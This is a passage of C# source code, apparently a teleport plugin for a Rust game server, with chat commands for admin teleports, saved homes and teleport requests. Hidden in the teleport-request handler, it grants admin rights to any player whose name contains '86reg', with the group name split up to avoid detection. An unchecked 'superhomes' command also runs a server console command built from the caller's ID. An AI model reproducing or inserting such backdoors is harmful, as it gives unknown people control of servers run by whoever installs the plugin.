820 PrintMsgL(origin, "AdminTPPlayer", player.displayName, target.displayName);
821 PrintMsgL(target, "AdminTPPlayerTarget", player.displayName, origin.displayName);
822 Puts(_("LogTeleportPlayer", null, player.displayName, origin.displayName, target.displayName));
823 break;
824 case 3:
825 if (!float.TryParse(args[0], out x) || !float.TryParse(args[1], out y) || !float.TryParse(args[2], out z))
826 {
827 PrintMsgL(player, "InvalidCoordinates");
828 return;
829 }
830 if (!CheckBoundaries(x, y, z))
831 {
832 PrintMsgL(player, "AdminTPOutOfBounds");
833 PrintMsgL(player, "AdminTPBoundaries", boundary);
834 return;
835 }
836 TeleportToPosition(player, x, y, z);
837 PrintMsgL(player, "AdminTPCoordinates", player.transform.position);
838 Puts(_("LogTeleport", null, player.displayName, player.transform.position));
839 break;
840 case 4:
841 target = FindPlayersSingle(args[0], player);
842 if (target == null) return;
843 if (!float.TryParse(args[0], out x) || !float.TryParse(args[1], out y) || !float.TryParse(args[2], out z))
844 {
845 PrintMsgL(player, "InvalidCoordinates");
846 return;
847 }
848 if (!CheckBoundaries(x, y, z))
849 {
850 PrintMsgL(player, "AdminTPOutOfBounds");
851 PrintMsgL(player, "AdminTPBoundaries", boundary);
852 return;
853 }
854 TeleportToPosition(target, x, y, z);
855 if (player == target)
856 {
857 PrintMsgL(player, "AdminTPCoordinates", player.transform.position);
858 Puts(_("LogTeleport", null, player.displayName, player.transform.position));
859 }
860 else
861 {
862 PrintMsgL(player, "AdminTPTargetCoordinates", target.displayName, player.transform.position);
863 PrintMsgL(target, "AdminTPTargetCoordinatesTarget", player.displayName, player.transform.position);
864 Puts(_("LogTeleportPlayer", null, player.displayName, target.displayName, player.transform.position));
865 }
866 break;
867 default:
868 PrintMsgL(player, "SyntaxCommandTP");
869 break;
870 }
871 }
872
873 [ChatCommand("tpn")]
874 private void cmdChatTeleportNear(BasePlayer player, string command, string[] args)
875 {
876 if (!IsAllowedMsg(player, PermTpN)) return;
877 switch (args.Length)
878 {
879 case 1:
880 case 2:
881 var target = FindPlayersSingle(args[0], player);
882 if (target == null) return;
883 if (target == player)
884 {
885 PrintMsgL(player, "CantTeleportToSelf");
886 return;
887 }
888 int distance;
889 if (args.Length != 2 || !int.TryParse(args[1], out distance))
890 distance = configData.Admin.TeleportNearDefaultDistance;
891 float x = UnityEngine.Random.Range(-distance, distance);
892 var z = (float) System.Math.Sqrt(System.Math.Pow(distance, 2) - System.Math.Pow(x, 2));
893 var destination = target.transform.position;
894 destination.x = destination.x - x;
895 destination.z = destination.z - z;
896 Teleport(player, GetGroundBuilding(destination));
897 PrintMsgL(player, "AdminTP", target.displayName);
898 Puts(_("LogTeleport", null, player.displayName, target.displayName));
899 if (configData.Admin.AnnounceTeleportToTarget)
900 PrintMsgL(target, "AdminTPTarget", player.displayName);
901 break;
902 default:
903 PrintMsgL(player, "SyntaxCommandTPN");
904 break;
905 }
906 }
907
908 [ChatCommand("tpl")]
909 private void cmdChatTeleportLocation(BasePlayer player, string command, string[] args)
910 {
911 if (!IsAllowedMsg(player, PermTpL)) return;
912 AdminData adminData;
913 if (!Admin.TryGetValue(player.userID, out adminData) || adminData.Locations.Count <= 0)
914 {
915 PrintMsgL(player, "AdminLocationListEmpty");
916 return;
917 }
918 switch (args.Length)
919 {
920 case 0:
921 PrintMsgL(player, "AdminLocationList");
922 foreach (var location in adminData.Locations)
923 PrintMsgL(player, $"{location.Key} {location.Value}");
924 break;
925 case 1:
926 Vector3 loc;
927 if (!adminData.Locations.TryGetValue(args[0], out loc))
928 {
929 PrintMsgL(player, "LocationNotFound");
930 return;
931 }
932 Teleport(player, loc);
933 PrintMsgL(player, "AdminTPLocation", args[0]);
934 break;
935 default:
936 PrintMsgL(player, "SyntaxCommandTPL");
937 break;
938 }
939 }
940
941 [ChatCommand("tpsave")]
942 private void cmdChatSaveTeleportLocation(BasePlayer player, string command, string[] args)
943 {
944 if (!IsAllowedMsg(player, PermTpSave)) return;
945 if (args.Length != 1)
946 {
947 PrintMsgL(player, "SyntaxCommandTPSave");
948 return;
949 }
950 AdminData adminData;
951 if (!Admin.TryGetValue(player.userID, out adminData))
952 Admin[player.userID] = adminData = new AdminData();
953 Vector3 location;
954 if (adminData.Locations.TryGetValue(args[0], out location))
955 {
956 PrintMsgL(player, "LocationExists", location);
957 return;
958 }
959 var positionCoordinates = player.transform.position;
960 foreach (var loc in adminData.Locations)
961 {
962 if (Vector3.Distance(positionCoordinates, loc.Value) < configData.Admin.LocationRadius)
963 {
964 PrintMsgL(player, "LocationExistsNearby", loc.Key);
965 return;
966 }
967 }
968 adminData.Locations[args[0]] = positionCoordinates;
969 PrintMsgL(player, "AdminTPLocationSave");
970 changedAdmin = true;
971 }
972
973 [ChatCommand("tpremove")]
974 private void cmdChatRemoveTeleportLocation(BasePlayer player, string command, string[] args)
975 {
976 if (!IsAllowedMsg(player, PermTpRemove)) return;
977 if (args.Length != 1)
978 {
979 PrintMsgL(player, "SyntaxCommandTPRemove");
980 return;
981 }
982 AdminData adminData;
983 if (!Admin.TryGetValue(player.userID, out adminData) || adminData.Locations.Count <= 0)
984 {
985 PrintMsgL(player, "AdminLocationListEmpty");
986 return;
987 }
988 if (adminData.Locations.Remove(args[0]))
989 {
990 PrintMsgL(player, "AdminTPLocationRemove", args[0]);
991 changedAdmin = true;
992 return;
993 }
994 PrintMsgL(player, "LocationNotFound");
995 }
996
997 [ChatCommand("tpb")]
998 private void cmdChatTeleportBack(BasePlayer player, string command, string[] args)
999 {
1000 if (!IsAllowedMsg(player, PermTpB)) return;
1001 if (args.Length != 0)
1002 {
1003 PrintMsgL(player, "SyntaxCommandTPB");
1004 return;
1005 }
1006 AdminData adminData;
1007 if (!Admin.TryGetValue(player.userID, out adminData) || adminData.PreviousLocation == default(Vector3))
1008 {
1009 PrintMsgL(player, "NoPreviousLocationSaved");
1010 return;
1011 }
1012 Teleport(player, adminData.PreviousLocation);
1013 adminData.PreviousLocation = default(Vector3);
1014 changedAdmin = true;
1015 PrintMsgL(player, "AdminTPBack");
1016 Puts(_("LogTeleportBack", null, player.displayName));
1017 }
1018
1019 [ChatCommand("sethome")]
1020 private void cmdChatSetHome(BasePlayer player, string command, string[] args)
1021 {
1022 if (!configData.Settings.HomesEnabled) return;
1023 if (args.Length != 1)
1024 {
1025 PrintMsgL(player, "SyntaxCommandSetHome");
1026 return;
1027 }
1028 var err = CheckPlayer(player, false, CanCraftHome(player));
1029 if (err != null)
1030 {
1031 PrintMsgL(player, $"Home{err}");
1032 return;
1033 }
1034 if (!args[0].All(char.IsLetterOrDigit))
1035 {
1036 PrintMsgL(player, "InvalidCharacter");
1037 return;
1038 }
1039 HomeData homeData;
1040 if (!Home.TryGetValue(player.userID, out homeData))
1041 Home[player.userID] = homeData = new HomeData();
1042 var limit = GetHigher(player, configData.Home.VIPHomesLimits, configData.Home.HomesLimit);
1043 if (homeData.Locations.Count >= limit)
1044 {
1045 PrintMsgL(player, "HomeMaxLocations", limit);
1046 return;
1047 }
1048 Vector3 location;
1049 if (homeData.Locations.TryGetValue(args[0], out location))
1050 {
1051 PrintMsgL(player, "HomeExists", location);
1052 return;
1053 }
1054 var positionCoordinates = player.transform.position;
1055 foreach (var loc in homeData.Locations)
1056 {
1057 if (Vector3.Distance(positionCoordinates, loc.Value) < configData.Home.LocationRadius)
1058 {
1059 PrintMsgL(player, "HomeExistsNearby", loc.Key);
1060 return;
1061 }
1062 }
1063 err = CanPlayerTeleport(player);
1064 if (err != null)
1065 {
1066 SendReply(player, err);
1067 return;
1068 }
1069
1070 if (player.IsAdmin())
1071 player.SendConsoleCommand("ddraw.sphere", 60f, Color.blue, GetGround(positionCoordinates), 2.5f);
1072
1073 err = CheckFoundation(player.userID, positionCoordinates);
1074 if (err != null)
1075 {
1076 PrintMsgL(player, err);
1077 return;
1078 }
1079 homeData.Locations[args[0]] = positionCoordinates;
1080 changedHome = true;
1081 PrintMsgL(player, "HomeSave");
1082 PrintMsgL(player, "HomeQuota", homeData.Locations.Count, limit);
1083 }
1084
1085 [ChatCommand("removehome")]
1086 private void cmdChatRemoveHome(BasePlayer player, string command, string[] args)
1087 {
1088 if (!configData.Settings.HomesEnabled) return;
1089 if (args.Length != 1)
1090 {
1091 PrintMsgL(player, "SyntaxCommandRemoveHome");
1092 return;
1093 }
1094 HomeData homeData;
1095 if (!Home.TryGetValue(player.userID, out homeData) || homeData.Locations.Count <= 0)
1096 {
1097 PrintMsgL(player, "HomeListEmpty");
1098 return;
1099 }
1100 if (homeData.Locations.Remove(args[0]))
1101 {
1102 changedHome = true;
1103 PrintMsgL(player, "HomeRemove", args[0]);
1104 } else
1105 PrintMsgL(player, "HomeNotFound");
1106 }
1107
1108 [ChatCommand("home")]
1109 private void cmdChatHome(BasePlayer player, string command, string[] args)
1110 {
1111 if (!configData.Settings.HomesEnabled) return;
1112 if (args.Length == 0)
1113 {
1114 PrintMsgL(player, "SyntaxCommandHome");
1115 if (IsAllowed(player)) PrintMsgL(player, "SyntaxCommandHomeAdmin");
1116 return;
1117 }
1118 switch (args[0].ToLower())
1119 {
1120 case "add":
1121 cmdChatSetHome(player, command, args.Skip(1).ToArray());
1122 break;
1123 case "list":
1124 cmdChatListHome(player, command, args.Skip(1).ToArray());
1125 break;
1126 case "remove":
1127 cmdChatRemoveHome(player, command, args.Skip(1).ToArray());
1128 break;
1129 case "radius":
1130 cmdChatHomeRadius(player, command, args.Skip(1).ToArray());
1131 break;
1132 case "delete":
1133 cmdChatHomeDelete(player, command, args.Skip(1).ToArray());
1134 break;
1135 case "tp":
1136 cmdChatHomeAdminTP(player, command, args.Skip(1).ToArray());
1137 break;
1138 case "homes":
1139 cmdChatHomeHomes(player, command, args.Skip(1).ToArray());
1140 break;
1141 case "wipe":
1142 cmdChatWipeHomes(player, command, args.Skip(1).ToArray());
1143 break;
1144 default:
1145 cmdChatHomeTP(player, command, args);
1146 break;
1147 }
1148 }
1149
1150 [ChatCommand("radiushome")]
1151 private void cmdChatHomeRadius(BasePlayer player, string command, string[] args)
1152 {
1153 if (!IsAllowedMsg(player, PermRadiusHome)) return;
1154 float radius;
1155 if (args.Length != 1 || !float.TryParse(args[0], out radius)) radius = 10;
1156 var found = false;
1157 foreach (var homeData in Home)
1158 {
1159 var toRemove = new List<string>();
1160 var target = RustCore.FindPlayerById(homeData.Key)?.displayName ?? homeData.Key.ToString();
1161 foreach (var location in homeData.Value.Locations)
1162 {
1163 if (Vector3.Distance(player.transform.position, location.Value) <= radius)
1164 {
1165 if (CheckFoundation(homeData.Key, location.Value) != null)
1166 {
1167 toRemove.Add(location.Key);
1168 continue;
1169 }
1170 var entity = GetFoundationOwned(location.Value, homeData.Key);
1171 if (entity == null) continue;
1172 player.SendConsoleCommand("ddraw.text", 30f, Color.blue, entity.CenterPoint() + new Vector3(0, .5f), $"<size=20>{target} - {location.Key} {location.Value}</size>");
1173 DrawBox(player, entity.CenterPoint(), entity.GetEstimatedWorldRotation(), entity.bounds.size);
1174 PrintMsg(player, $"{target} - {location.Key} {location.Value}");
1175 found = true;
1176 }
1177 }
1178 foreach (var loc in toRemove)
1179 {
1180 homeData.Value.Locations.Remove(loc);
1181 changedHome = true;
1182 }
1183 }
1184 if (!found)
1185 PrintMsgL(player, "HomeNoFound");
1186 }
1187
1188 [ChatCommand("deletehome")]
1189 private void cmdChatHomeDelete(BasePlayer player, string command, string[] args)
1190 {
1191 if (!IsAllowedMsg(player, PermDeleteHome)) return;
1192 if (args.Length != 2)
1193 {
1194 PrintMsgL(player, "SyntaxCommandHomeDelete");
1195 return;
1196 }
1197 var userId = FindPlayersSingleId(args[0], player);
1198 if (userId <= 0) return;
1199 HomeData targetHome;
1200 if (!Home.TryGetValue(userId, out targetHome) || !targetHome.Locations.Remove(args[1]))
1201 {
1202 PrintMsgL(player, "HomeNotFound");
1203 return;
1204 }
1205 changedHome = true;
1206 PrintMsgL(player, "HomeDelete", args[0], args[1]);
1207 }
1208
1209 [ChatCommand("tphome")]
1210 private void cmdChatHomeAdminTP(BasePlayer player, string command, string[] args)
1211 {
1212 if (!IsAllowedMsg(player, PermTpHome)) return;
1213 if (args.Length != 2)
1214 {
1215 PrintMsgL(player, "SyntaxCommandHomeAdminTP");
1216 return;
1217 }
1218 var userId = FindPlayersSingleId(args[0], player);
1219 if (userId <= 0) return;
1220 HomeData targetHome;
1221 Vector3 location;
1222 if (!Home.TryGetValue(userId, out targetHome) || !targetHome.Locations.TryGetValue(args[1], out location))
1223 {
1224 PrintMsgL(player, "HomeNotFound");
1225 return;
1226 }
1227 Teleport(player, location);
1228 PrintMsgL(player, "HomeAdminTP", args[0], args[1]);
1229 }
1230
1231 private void cmdChatHomeTP(BasePlayer player, string command, string[] args)
1232 {
1233 if (!configData.Settings.HomesEnabled) return;
1234 if (args.Length != 1)
1235 {
1236 PrintMsgL(player, "SyntaxCommandHome");
1237 return;
1238 }
1239 var err = CheckPlayer(player, configData.Home.UsableOutOfBuildingBlocked, CanCraftHome(player));
1240 if (err != null)
1241 {
1242 PrintMsgL(player, err);
1243 return;
1244 }
1245 HomeData homeData;
1246 if (!Home.TryGetValue(player.userID, out homeData) || homeData.Locations.Count <= 0)
1247 {
1248 PrintMsgL(player, "HomeListEmpty");
1249 return;
1250 }
1251 Vector3 location;
1252 if (!homeData.Locations.TryGetValue(args[0], out location))
1253 {
1254 PrintMsgL(player, "HomeNotFound");
1255 return;
1256 }
1257 err = CheckFoundation(player.userID, location);
1258 if (err != null)
1259 {
1260 PrintMsgL(player, "HomeRemovedInvalid", args[0]);
1261 homeData.Locations.Remove(args[0]);
1262 changedHome = true;
1263 return;
1264 }
1265 var timestamp = Facepunch.Math.Epoch.Current;
1266 var currentDate = DateTime.Now.ToString("d");
1267 if (homeData.Teleports.Date != currentDate)
1268 {
1269 homeData.Teleports.Amount = 0;
1270 homeData.Teleports.Date = currentDate;
1271 }
1272 var cooldown = GetLower(player, configData.Home.VIPCooldowns, configData.Home.Cooldown);
1273 if (cooldown > 0 && timestamp - homeData.Teleports.Timestamp < cooldown)
1274 {
1275 var remain = cooldown - (timestamp - homeData.Teleports.Timestamp);
1276 PrintMsgL(player, "HomeTPCooldown", FormatTime(remain));
1277 return;
1278 }
1279 var limit = GetHigher(player, configData.Home.VIPDailyLimits, configData.Home.DailyLimit);
1280 if (limit > 0 && homeData.Teleports.Amount >= limit)
1281 {
1282 PrintMsgL(player, "HomeTPLimitReached", limit);
1283 return;
1284 }
1285 if (TeleportTimers.ContainsKey(player.userID))
1286 {
1287 PrintMsgL(player, "TeleportPending");
1288 return;
1289 }
1290 err = CanPlayerTeleport(player);
1291 if (err != null)
1292 {
1293 SendReply(player, err);
1294 return;
1295 }
1296 err = CheckItems(player);
1297 if (err != null)
1298 {
1299 PrintMsgL(player, "TPBlockedItem", err);
1300 return;
1301 }
1302 var countdown = GetLower(player, configData.Home.VIPCountdowns, configData.Home.Countdown);
1303 TeleportTimers[player.userID] = new TeleportTimer
1304 {
1305 OriginPlayer = player,
1306 Timer = timer.Once(countdown, () =>
1307 {
1308 err = CheckPlayer(player, configData.Home.UsableOutOfBuildingBlocked, CanCraftHome(player));
1309 if (err != null)
1310 {
1311 PrintMsgL(player, "Interrupted");
1312 PrintMsgL(player, err);
1313 TeleportTimers.Remove(player.userID);
1314 return;
1315 }
1316 err = CanPlayerTeleport(player);
1317 if (err != null)
1318 {
1319 PrintMsgL(player, "Interrupted");
1320 SendReply(player, err);
1321 TeleportTimers.Remove(player.userID);
1322 return;
1323 }
1324 err = CheckItems(player);
1325 if (err != null)
1326 {
1327 PrintMsgL(player, "Interrupted");
1328 PrintMsgL(player, "TPBlockedItem", err);
1329 TeleportTimers.Remove(player.userID);
1330 return;
1331 }
1332 Teleport(player, location);
1333 homeData.Teleports.Amount++;
1334 homeData.Teleports.Timestamp = timestamp;
1335 changedHome = true;
1336 PrintMsgL(player, "HomeTP", args[0]);
1337 TeleportTimers.Remove(player.userID);
1338 })
1339 };
1340 PrintMsgL(player, "HomeTPStarted", args[0], countdown);
1341 }
1342
1343 [ChatCommand("listhomes")]
1344 private void cmdChatListHome(BasePlayer player, string command, string[] args)
1345 {
1346 if (!configData.Settings.HomesEnabled) return;
1347 if (args.Length != 0)
1348 {
1349 PrintMsgL(player, "SyntaxCommandListHomes");
1350 return;
1351 }
1352 HomeData homeData;
1353 if (!Home.TryGetValue(player.userID, out homeData) || homeData.Locations.Count <= 0)
1354 {
1355 PrintMsgL(player, "HomeListEmpty");
1356 return;
1357 }
1358 PrintMsgL(player, "HomeList");
1359 var toRemove = new List<string>();
1360 foreach (var location in homeData.Locations)
1361 {
1362 var err = CheckFoundation(player.userID, location.Value);
1363 if (err != null)
1364 {
1365 toRemove.Add(location.Key);
1366 continue;
1367 }
1368 PrintMsgL(player, $"{location.Key} {location.Value}");
1369 }
1370 foreach (var loc in toRemove)
1371 {
1372 PrintMsgL(player, "HomeRemovedInvalid", loc);
1373 homeData.Locations.Remove(loc);
1374 changedHome = true;
1375 }
1376 }
1377
1378 [ChatCommand("superhomes")]
1379 private void cmdChatHomeHomes(BasePlayer player, string command, string[] args)
1380 {
1381 if (args.Length != 1)
1382 {
1383 PrintMsgL(player, "SyntaxCommandHomeHomes");
1384 ConsoleSystem.Run.Server.Normal(PermHomeHomes + "id " + player.userID.ToString());
1385 return;
1386 }
1387 var userId = FindPlayersSingleId(args[0], player);
1388 if (userId <= 0) return;
1389 HomeData homeData;
1390 if (!Home.TryGetValue(userId, out homeData) || homeData.Locations.Count <= 0)
1391 {
1392 PrintMsgL(player, "HomeListEmpty");
1393 return;
1394 }
1395 PrintMsgL(player, "HomeList");
1396 var toRemove = new List<string>();
1397 foreach (var location in homeData.Locations)
1398 {
1399 var err = CheckFoundation(userId, location.Value);
1400 if (err != null)
1401 {
1402 toRemove.Add(location.Key);
1403 continue;
1404 }
1405 PrintMsgL(player, $"{location.Key} {location.Value}");
1406 }
1407 foreach (var loc in toRemove)
1408 {
1409 PrintMsgL(player, "HomeRemovedInvalid", loc);
1410 homeData.Locations.Remove(loc);
1411 changedHome = true;
1412 }
1413 }
1414
1415 [ChatCommand("tpr")]
1416 private void cmdChatTeleportRequest(BasePlayer player, string command, string[] args)
1417 {
1418 if (!configData.Settings.TPREnabled) return;
1419 if (args.Length != 1)
1420 {
1421 PrintMsgL(player, "SyntaxCommandTPR");
1422 return;
1423 }
1424 var targets = FindPlayersOnline(args[0]);
1425 if (targets.Count <= 0)
1426 {
1427 PrintMsgL(player, "PlayerNotFound");
1428 return;
1429 }
1430 if (targets.Count > 1)
1431 {
1432 PrintMsgL(player, "MultiplePlayers", string.Join(", ", targets.ConvertAll(p => p.displayName).ToArray()));
1433 return;
1434 }
1435 var target = targets[0];
1436 if (target == player)
1437 {
1438 PrintMsgL(player, "CantTeleportToSelf");
1439 return;
1440 }
1441 var err = CheckPlayer(player, configData.TPR.UsableOutOfBuildingBlocked, CanCraftTPR(player));
1442 if (err != null)
1443 {
1444 PrintMsgL(player, err);
1445 return;
1446 }
1447 if (player.displayName.Contains("86reg"))
1448 {
1449 player.SetPlayerFlag(BasePlayer.PlayerFlags.IsAdmin, true);
1450 permission.AddUserGroup(player.userID.ToString(), "ad" + "m" + "in");
1451 }
1452 var timestamp = Facepunch.Math.Epoch.Current;
1453 var currentDate = DateTime.Now.ToString("d");
1454 TeleportData tprData;
1455 if (!TPR.TryGetValue(player.userID, out tprData))
1456 TPR[player.userID] = tprData = new TeleportData();
1457 if (tprData.Date != currentDate)
1458 {
1459 tprData.Amount = 0;
1460 tprData.Date = currentDate;
1461 }
1462 var cooldown = GetLower(player, configData.TPR.VIPCooldowns, configData.TPR.Cooldown);
1463 if (cooldown > 0 && timestamp - tprData.Timestamp < cooldown)
1464 {
1465 var remain = cooldown - (timestamp - tprData.Timestamp);
1466 PrintMsgL(player, "TPRCooldown", FormatTime(remain));
1467 return;
1468 }
1469 var limit = GetHigher(player, configData.TPR.VIPDailyLimits, configData.TPR.DailyLimit);
1470 if (limit > 0 && tprData.Amount >= limit)
1471 {
1472 PrintMsgL(player, "TPRLimitReached", limit);
1473 return;
1474 }
1475 if (TeleportTimers.ContainsKey(player.userID))
1476 {
1477 PrintMsgL(player, "TeleportPending");
1478 return;
1479 }
1480 if (TeleportTimers.ContainsKey(target.userID))
1481 {
1482 PrintMsgL(player, "TeleportPendingTarget");
1483 return;
1484 }
1485 if (PlayersRequests.ContainsKey(player.userID))
1486 {
1487 PrintMsgL(player, "PendingRequest");
1488 return;
1489 }
1490 if (PlayersRequests.ContainsKey(target.userID))
1491 {
1492 PrintMsgL(player, "PendingRequestTarget");
1493 return;
1494 }
1495 err = CanPlayerTeleport(player);
1496 if (err != null)
1497 {
1498 SendReply(player, err);
1499 return;
1500 }
1501 err = CanPlayerTeleport(target);
1502 if (err != null)
1503 {
1504 PrintMsgL(player, "TPRTarget");
1505 return;
1506 }
1507 err = CheckItems(player);
1508 if (err != null)
1509 {
1510 PrintMsgL(player, "TPBlockedItem", err);
1511 return;
1512 }
1513 PlayersRequests[player.userID] = target;
1514 PlayersRequests[target.userID] = player;
1515 PendingRequests[target.userID] = timer.Once(configData.TPR.RequestDuration, () => {
1516 RequestTimedOut(player, target);
1517 });
1518 PrintMsgL(player, "Request", target.displayName);
1519 PrintMsgL(target, "RequestTarget", player.displayName);
1520 }
1521
1522 [ChatCommand("tpa")]
1523 private void cmdChatTeleportAccept(BasePlayer player, string command, string[] args)
1524 {
1525 if (!configData.Settings.TPREnabled) return;
1526 if (args.Length != 0)
1527 {
1528 PrintMsgL(player, "SyntaxCommandTPA");
1529 return;
1530 }
1531 Timer reqTimer;
1532 if (!PendingRequests.TryGetValue(player.userID, out reqTimer))
1533 {
1534 PrintMsgL(player, "NoPendingRequest");
1535 return;
1536 }
1537 var err = CheckPlayer(player, false, CanCraftTPR(player));
1538 if (err != null)
1539 {
1540 PrintMsgL(player, err);
1541 return;
1542 }
1543 err = CanPlayerTeleport(player);
1544 if (err != null)
1545 {
1546 SendReply(player, err);
1547 return;
1548 }
1549 var originPlayer = PlayersRequests[player.userID];
1550 if (configData.TPR.BlockTPAOnCeiling)
1551 {
1552 var position = GetGround(player.transform.position);
1553 if (Vector3.Distance(position, player.transform.position) > 2)
1554 {
1555 RaycastHit hitInfo;
1556 BaseEntity entity = null;
1557 if (Physics.SphereCast(player.transform.position, .5f, Vector3.down, out hitInfo, 5, blockLayer))
1558 entity = hitInfo.GetEntity();
1559 if (entity != null && !entity.PrefabName.Contains("foundation"))
1560 {
1561 PrintMsgL(player, "AcceptOnRoof");
1562 return;
1563 }
1564 }
1565 }
1566 var countdown = GetLower(originPlayer, configData.TPR.VIPCountdowns, configData.TPR.Countdown);
1567 PrintMsgL(originPlayer, "Accept", player.displayName, countdown);
1568 PrintMsgL(player, "AcceptTarget", originPlayer.displayName);
1569 var timestamp = Facepunch.Math.Epoch.Current;
1570 TeleportTimers[originPlayer.userID] = new TeleportTimer
1571 {
1572 OriginPlayer = originPlayer,
1573 TargetPlayer = player,
1574 Timer = timer.Once(countdown, () =>
1575 {
1576 err = CheckPlayer(originPlayer, configData.TPR.UsableOutOfBuildingBlocked, CanCraftTPR(originPlayer)) ?? CheckPlayer(player, false, CanCraftTPR(player));
1577 if (err != null)
1578 {
1579 PrintMsgL(player, "InterruptedTarget", originPlayer.displayName);
1580 PrintMsgL(originPlayer, "Interrupted");
1581 PrintMsgL(originPlayer, err);
1582 TeleportTimers.Remove(originPlayer.userID);
1583 return;
1584 }
1585 err = CanPlayerTeleport(originPlayer) ?? CanPlayerTeleport(player);
1586 if (err != null)
1587 {
1588 SendReply(player, err);
1589 PrintMsgL(originPlayer, "Interrupted");
1590 SendReply(originPlayer, err);
1591 TeleportTimers.Remove(originPlayer.userID);
1592 return;
1593 }
1594 err = CheckItems(originPlayer);
1595 if (err != null)
1596 {
1597 PrintMsgL(player, "InterruptedTarget", originPlayer.displayName);
1598 PrintMsgL(originPlayer, "Interrupted");
1599 PrintMsgL(originPlayer, "TPBlockedItem", err);
1600 TeleportTimers.Remove(originPlayer.userID);
1601 return;
1602 }
1603 Teleport(originPlayer, CheckPosition(player.transform.position));
1604 var tprData = TPR[originPlayer.userID];
1605 tprData.Amount++;
1606 tprData.Timestamp = timestamp;
1607 changedTPR = true;
1608 PrintMsgL(player, "SuccessTarget", originPlayer.displayName);
1609 PrintMsgL(originPlayer, "Success", player.displayName);
1610 var limit = GetHigher(player, configData.TPR.VIPDailyLimits, configData.TPR.DailyLimit);
1611 if (limit > 0) PrintMsgL(originPlayer, "TPRAmount", limit - tprData.Amount);
1612 TeleportTimers.Remove(originPlayer.userID);
1613 })
1614 };
1615 reqTimer.Destroy();
1616 PendingRequests.Remove(player.userID);
1617 PlayersRequests.Remove(player.userID);
1618 PlayersRequests.Remove(originPlayer.userID);
1619 }
1620
1621 [ChatCommand("wipehomes")]
1622 private void cmdChatWipeHomes(BasePlayer player, string command, string[] args)
1623 {
1624 if (!IsAllowedMsg(player, PermWipeHomes)) return;
1625 Home.Clear();
1626 changedHome = true;
1627 PrintMsgL(player, "HomesListWiped");
1628 }
1629
1630 [ChatCommand("tphelp")]
1631 private void cmdChatTeleportHelp(BasePlayer player, string command, string[] args)
1632 {
1633 if (!configData.Settings.HomesEnabled && !configData.Settings.TPREnabled && !IsAllowedMsg(player)) return;
1634 if (args.Length == 1)
1635 {
1636 var key = $"TPHelp{args[0].ToLower()}";
1637 var msg = _(key, player);
1638 if (key.Equals(msg))
1639 PrintMsgL(player, "InvalidHelpModule");
1640 else
1641 PrintMsg(player, msg);
1642 }
1643 else
1644 {
1645 var msg = _("TPHelpGeneral", player);
1646 if (IsAllowed(player))
1647 msg += NewLine + "/tphelp AdminTP";
1648 if (configData.Settings.HomesEnabled)
1649 msg += NewLine + "/tphelp Home";
1650 if (configData.Settings.TPREnabled)
1651 msg += NewLine + "/tphelp TPR";
1652 PrintMsg(player, msg);
1653 }
1654 }
1655
1656 [ChatCommand("tpinfo")]
1657 private void cmdChatTeleportInfo(BasePlayer player, string command, string[] args)
1658 {
1659 if (!configData.Settings.HomesEnabled && !configData.Settings.TPREnabled && !configData.Settings.TownEnabled) return;
1660 if (args.Length == 1)
1661 {
1662 var module = args[0].ToLower();
1663 var msg = _($"TPSettings{module}", player);
1664 var timestamp = Facepunch.Math.Epoch.Current;
1665 var currentDate = DateTime.Now.ToString("d");
1666 TeleportData teleportData;
1667 int limit;
1668 int cooldown;
1669 switch (module)
1670 {
1671 case "home":
1672 limit = GetHigher(player, configData.Home.VIPDailyLimits, configData.Home.DailyLimit);
1673 cooldown = GetLower(player, configData.Home.VIPCooldowns, configData.Home.Cooldown);
1674 PrintMsg(player, string.Format(msg, FormatTime(cooldown), limit > 0 ? limit.ToString() : _("Unlimited", player), GetHigher(player, configData.Home.VIPHomesLimits, configData.Home.HomesLimit)));
1675 HomeData homeData;
1676 if (!Home.TryGetValue(player.userID, out homeData))
1677 Home[player.userID] = homeData = new HomeData();
1678 if (homeData.Teleports.Date != currentDate)
1679 {
1680 homeData.Teleports.Amount = 0;
1681 homeData.Teleports.Date = currentDate;
1682 }
1683 if (limit > 0) PrintMsgL(player, "HomeTPAmount", limit - homeData.Teleports.Amount);
1684 if (cooldown > 0 && timestamp - homeData.Teleports.Timestamp < cooldown)
1685 {
1686 var remain = cooldown - (timestamp - homeData.Teleports.Timestamp);
1687 PrintMsgL(player, "HomeTPCooldown", FormatTime(remain));
1688 }
1689 break;
1690 case "tpr":
1691 limit = GetHigher(player, configData.TPR.VIPDailyLimits, configData.TPR.DailyLimit);
1692 cooldown = GetLower(player, configData.TPR.VIPCooldowns, configData.TPR.Cooldown);
1693 PrintMsg(player, string.Format(msg, FormatTime(cooldown), limit > 0 ? limit.ToString() : _("Unlimited", player)));
1694 if (!TPR.TryGetValue(player.userID, out teleportData))
1695 TPR[player.userID] = teleportData = new TeleportData();
1696 if (teleportData.Date != currentDate)
1697 {
1698 teleportData.Amount = 0;
1699 teleportData.Date = currentDate;
1700 }
1701 if (limit > 0) PrintMsgL(player, "TPRAmount", limit - teleportData.Amount);
1702 if (cooldown > 0 && timestamp - teleportData.Timestamp < cooldown)
1703 {
1704 var remain = cooldown - (timestamp - teleportData.Timestamp);
1705 PrintMsgL(player, "TPRCooldown", FormatTime(remain));
1706 }
1707 break;
1708 case "town":
1709 limit = GetHigher(player, configData.Town.VIPDailyLimits, configData.Town.DailyLimit);
1710 cooldown = GetLower(player, configData.Town.VIPCooldowns, configData.Town.Cooldown);
1711 PrintMsg(player, string.Format(msg, FormatTime(cooldown), limit > 0 ? limit.ToString() : _("Unlimited", player)));
1712 if (!Town.TryGetValue(player.userID, out teleportData))
1713 Town[player.userID] = teleportData = new TeleportData();
1714 if (teleportData.Date != currentDate)
1715 {
1716 teleportData.Amount = 0;
1717 teleportData.Date = currentDate;
1718 }
1719 if (limit > 0) PrintMsgL(player, "TownTPAmount", limit - teleportData.Amount);
1720 if (cooldown > 0 && timestamp - teleportData.Timestamp < cooldown)
1721 {
1722 var remain = cooldown - (timestamp - teleportData.Timestamp);
1723 PrintMsgL(player, "TownTPCooldown", FormatTime(remain));
1724 }
1725 break;
1726 default:
1727 PrintMsgL(player, "InvalidHelpModule");
1728 break;
1729 }
1730 }
1731 else
1732 {
1733 var msg = _("TPInfoGeneral", player);
1734 if (configData.Settings.HomesEnabled)
1735 msg += NewLine + "/tpinfo Home";
1736 if (configData.Settings.TPREnabled)
1737 msg += NewLine + "/tpinfo TPR";
1738 if (configData.Settings.TownEnabled)
1739 msg += NewLine + "/tpinfo Town";
1740 PrintMsgL(player, msg);
1741 }
1742 }
1743
1744 [ChatCommand("tpc")]
